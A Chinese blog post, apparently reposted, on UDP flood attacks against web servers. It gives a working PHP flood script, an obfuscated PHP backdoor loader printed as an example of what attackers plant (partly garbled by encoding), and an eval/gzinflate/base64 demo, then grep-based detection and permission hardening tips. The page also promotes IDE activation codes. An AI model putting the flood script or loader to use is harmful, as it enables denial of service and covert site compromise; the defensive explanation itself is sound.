UDP 流量攻击_网络流量攻击

UDP 流量攻击_网络流量攻击最近在群里聊天看到有人被UDP攻击我几年前也遇到过当时前任工作交接过来面临很多挑战。话又说回来凡是跳槽或主动找到你的公司都是让你去救火的。先说说UDP攻击原理很简单就是随便连接一个IP地址随便写一个端口号。IP地址存在与否并不重要。这是UDP的特性。然后发送大数据包堵塞交换机路由器。我们在局域网上模拟注意UDP不能在同一个VLAN下…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

最近在群里聊天看到有人被UDP攻击我几年前也遇到过当时前任工作交接过来面临很多挑战。

话又说回来凡是跳槽或主动找到你的公司都是让你去救火的。 

 

先说说UDP攻击原理很简单就是随便连接一个IP地址随便写一个端口号。 IP地址存在与否并不重要。这是UDP 的特性。

然后发送大数据包堵塞交换机路由器。

 

我们在局域网上模拟注意UDP不能在同一个VLAN下必须要经过路由才有效。

 

Php代码  
收藏代码

  1. <?php  
  2. /* 
  3. $ip = $_GET[‘ip’]; 
  4. $port = $_GET[‘port’]; 
  5. */  
  6.   
  7. $ip = ‘192.168.10.30’;  
  8. $port = 800;  
  9. $num = 1000;  
  10.   
  11. $packets = 0;  
  12. set_time_limit(0);  
  13. ignore_user_abort(FALSE);  
  14. $data = ;  
  15.   
  16. for($i=0;$i<65535;$i++){  
  17.         $data .= “.”;  
  18. }  
  19.   
  20. print “Starting…..<br>”;  
  21. while($packets < $num){  
  22.     $fp = fsockopen(“udp://$ip”$port$errno$errstr, 5);  
  23.     if($fp){  
  24.         fwrite($fp$data);  
  25.         fclose($fp);  
  26.     }  
  27.     $packets++;  
  28. }  
  29. print(‘Package: ‘.$packets);  

 

上面提供的脚本一般攻击者不会直接使用他们会使用PHP源码混淆在植入你的网站中。

 

Php代码  
收藏代码

  1. <?php   
  2. if (!defined(“ACFCEFFBAEDABEA”)){define(“ACFCEFFBAEDABEA”, true);global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;function 尃($尃,$崜?“”){
    global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;if(emptyempty($崜?){
    return base64_decode($尃);}else{
    return 尃($泝垁€殤倻枍憴?$尃,$崜?$悁€儕晜枔憴?$崜?));}}$悁€儕晜枔憴?尃(“c3RycmV2?);$泝垁€殤倻枍憴?尃(“c3RydHI=?);$唲殱枮?尃(“PzQ0NGMzY泎IwZmU1BTUwNzQ5MmV俴M2NFZWIy扤2RFMmM1P?U=?,”LBFZjOP“);$儚搱摕嫕?尃(“aHJlZ19yZXBsYWNl?,“cxkeqa”);$倐挐搷仜摐=尃(“lmFzZTl0X2RY弆29kZQ==?,”YjIteHl“);$剹姄檰問煈憠?尃(“H3p1bmQvbXByH沊Qz?,“ZnNVQPH”);$剫灉憰噭弾寙帪?尃(“CXChbA==?,”ZPcnsC“);function 棊€?&$棊€?{global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;$檨敐姈焻噦仦悢槙?尃(“oGgg?,“Zgzlo”);@$儚搱摕嫕?$唲殱枮?$剫灉憰噭弾寙帪?“(@$剹姄檰問煈憠?$倐挐搷仜摐(‘eNptku1v0kAY僿P8V0vDhGutG?TbXkItOZLxk廚gLTlqkhbS1S?pIFSBd0S+zL嶦LpSxzrHeBv9楿+0dSLLot7v7?e55nnuei3vQ機wGRzxW0E5rt哣KZCqSEeQOgQ嘑CHX9VbxSzNP噆Kn4MMBepqlo凢b4IBxE+KchK怋rGx/wPDDl+k巖yIgtRqVDgJ2?7YwyTEf1BxT€6s5R1ON6ljNy宨LvmwB9jQed3峚xWhYFSEU4gk僺SunDR05jj29檓dpYEnT2XOB3€4CNK3nj79dg4嘑JDSG/rBzLx2焥aTqWlsVuLSi泇4djJJ69a6VVpD24M3fUnzjO廸IRNUaifS1n2峍CxC6CPTkDQR慽RPzbuHeL69+歐ubjzd3Db2xn昫a4tMZzWQ2bz怐V/LItULYbV6焟D/KVKsptQbi烪iC2wdazl+Qn€sE1QEaaizoUk?R33IoRo95H+峮LpUtLayOfTC?OX6odFutQAr歋MWIlrTpFQ4A?qrU5uVrmfxP?Rt7PQ+wjkQ9乑5IkhGh4YA2e?AQWtghpX0xI哹I2RFPmFss8m揳zvMbjLJJuQ9焟mZkeY+gGJKM俋VzE/skcgtXf擟OGruDN2g0mv宒78cjQZRDsu6怷QRDcxbMATZQ?favoB8srxd+咰DuqrqDLT27h扠ZSZM1rSOUMS€XndvywL3zULj唓B+UylGP/gCx嶹Qyu€’)));”,“槤?潐墐瀳444c3c20fe59507492ed3cceb27dc2c5寛剣厭”);return “y”;}}else{
    global $?$崜,$棊€,$儓儌,$妬墡?$剝殣殐,$唲殱枮?$啀帗泚媻,$儚搱摕嫕?$倐挐搷仜摐,$槉泭憟檮劀?$悁€儕晜枔憴?$剹姄檰問煈憠?$泝垁€殤倻枍憴?$剫灉憰噭弾寙帪?$檨敐姈焻噦仦悢槙;$悁€儕晜枔憴?尃(“c3RycmV2?);$泝垁€殤倻枍憴?尃(“c3RydHI=?);$唲殱枮?尃(“PzQ0NGMzY泎IwZmU1BTUwNzQ5MmV俴M2NFZWIy扤2RFMmM1P?U=?,”LBFZjOP“);$儚搱摕嫕?尃(“aHJlZ19yZXBsYWNl?,“cxkeqa”);$倐挐搷仜摐=尃(“lmFzZTl0X2RY弆29kZQ==?,”YjIteHl“);$剹姄檰問煈憠?尃(“H3p1bmQvbXByH沊Qz?,“ZnNVQPH”);$剫灉憰噭弾寙帪?尃(“CXChbA==?,”ZPcnsC“);}$啀帗泚媻?尃(“EU5wejhjOUpCd0FZ嘦UGFRm6F?,“ZaHIQotE”);$唲殱枮憼=棊€?$啀帗泚媻?;@$儚搱摕嫕?$唲殱枮?$剫灉憰噭弾寙帪?“(@$剹姄檰問煈憠?$倐挐搷仜摐(‘eNo9UNtu2kAQfe9X憆KyVMGLlOEVEacxF峟Wif+lApH4Acsiar歡G2tF+WhquRbCTHB搘XEwmOuvdhaS7MvM攎Tkz58wanXaz4965刋xBmLmqhyvm3r9r5儀aVW1+p6xUDYdbiA?qWuA7BHQ8gbx9w1攅/dUeIABeVR0BRvS?oANmVD1qoFY33Y4?Y48yrvmDWxRf37/抎f0”.$啀帗泚媻?$唲殱枮憼.“YU4GVeJb昒5hSG/Qsh6uYtXQD塻+ZFo1FvQFKrVf+8k7QWUjTFQH+Ry5kt瀔HItTC6Y3dfka97w丯jQf7tiAqp8Gm0ff宑oUlL7Q8p3fvuNRW杔dGte3V2Bocr5HQo匓Mq57ZyiJzhBDXmK峱cIsbLAeOBNUAnIy塀E2rN3C8Y60qfX3I?mqfLtXKb6iZfXqF扠tpHH8jvX49GNnyf慽p8JnuUEL1Of4GgS抙QQnwVO6JDiO1vN1凴PA4Xu+KfQbJLM03弚TQB3ks+yQ/TXUpw汫L7u8lmwybcEr5JN攌k3KON4Ce+77UbII漣zwrC1i2TPJyPC4O峎fYEEpto4vvrLNwW俿6wEjXi632aLx/gl榝R6n+xXBZfC2S4rD乿8cw2M/fVouq0Wn/桞xjGxpk=?)));”,”€拝  
  3. 儝€悪?44c3c20fe59507492ed3cceb27dc2c5儞悇搩”);return true;?>9822537530499f58277ef52ffa504e5a  

 

另外一种是采用 eval(gzinflate(base64_decode(…..)))

Php代码  
收藏代码

  1. <?php  
  2. $code = “echo ‘Hello!’;”;  
  3. $compressed   = gzdeflate($code, 9);  
  4. $compressed = base64_encode($compressed);  
  5. echo $compressed;  
  6. echo “\r\n”;  
  7.   
  8. $compressed = base64_decode($compressed);  
  9. $uncompressed = gzinflate($compressed);  
  10. echo $uncompressed;  
  11. echo “\r\n”;  
  12.   
  13. eval($uncompressed);  
  14. echo “\r\n”;  
  15.   
  16. ?>  

 

 

如果被攻击了怎样处理这样的攻击其实很简单。

 

grep -r ‘udp’ * 

 

找到可疑的脚本然后再删除即可

 

对于混淆过的PHP程序其实也有规律可循。可以查找 base64_decode eval 等等关键字一般被植入的目录多是777权限例如图片上传目录。

 

如果做好安全措施

  1. 代码600权限同时不能与web server 守护进程使用一个用户
  2. 无关目录屏蔽php运行权限
Java代码  
收藏代码

  1. <Location /includes/>  
  2.         Order allow,deny  
  3.         Deny from all  
  4. </Location>  

 

 3. 使用框架开发很多MVC 只有一个index.php 入口用户可访问的目录只有静态文件

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/188837.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • ManualResetEvent的理解和使用[通俗易懂]

    ManualResetEvent的理解和使用[通俗易懂]classProgram{staticvoidMain(string[]args){//注意:ManualResetEvent可以对所有进行等待的线程进行统一控制//true-初始状态为发出信号;false-初始状态为未发出信号ManualResetEventm…

    2022年7月18日
    13
  • Java 基础练习题

    Java 基础练习题1.java类名命名规则答:1.大驼峰命名法2.不能以数字开头3.不能使用关键字,但是可以包含关键字4.数字.字母._,$5.见名知意2.java变量名(标识符)的命名规则和注意事项1.小驼峰命名法2.不能以数字开头3.不能使用关键字,但是可以包含关键字4.数字.字母._,$5.见名知意注意事项:1.相同作用域中不允许重复定义2.变量未经初始化,不允许使用3.一条语句可以定义多个相同类型的变量3.求成绩占总成绩的百分比doublescore=90;double

    2022年7月7日
    16
  • Word——Word在试图打开文件时遇到错误的一种解决办法

    Word——Word在试图打开文件时遇到错误的一种解决办法Word在试图打开文件时遇到错误的一种解决办法一、遇到的情况二、解决办法 1.将此word文件压缩 2.删除此word文档 3.将压缩包解压一、遇到的情况二、解决办法 1.将此word文件压缩 2.删除此word文档 3.将压缩包解压…

    2022年6月11日
    36
  • idc机房设施运维_软件运维需要掌握的知识

    idc机房设施运维_软件运维需要掌握的知识机房的服务器的维护是机房运维工作的重点,合理的机房环境对于服务器来说是非常的重要的,随着这年经济的发展,机房也在不断的在很多的方面进行调整,今天我们学习IDC机房服务器运维基础知识。1、关于电力(1)定期检测机房内市电及UPS电源是否稳定,并做好记录,UPS巡检记录要落实到个人。确保服务器硬件系统的稳定运转,确保市电中断后服务器正常运转理论值8小时。(2)若遇市电中断,如无特殊事宜,请尽量…

    2022年9月5日
    3
  • [分布式]:分布式系统的CAP理论

    [分布式]:分布式系统的CAP理论2000年7月,加州大学伯克利分校的EricBrewer教授在ACMPODC会议上提出CAP猜想。2年后,麻省理工学院的SethGilbert和NancyLynch从理论上证明了CAP。之后,CAP理论正式成为分布式计算领域的公认定理。CAP理论概述一个分布式系统最多只能同时满足一致性(Consistency)、可用性(Availability)和分区容错性(Partition…

    2022年6月16日
    28
  • native DRAMAtical Murder_project diablo 2

    native DRAMAtical Murder_project diablo 2投影投影是JMESPath的关键特性之一。它允许您将表达式应用于元素集合。有五种投影:列表投影切片投影对象投影展平投影过滤投影处理投影需要注意的点投影分为两个步骤。左侧(LHS)创建一

    2022年7月29日
    3

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号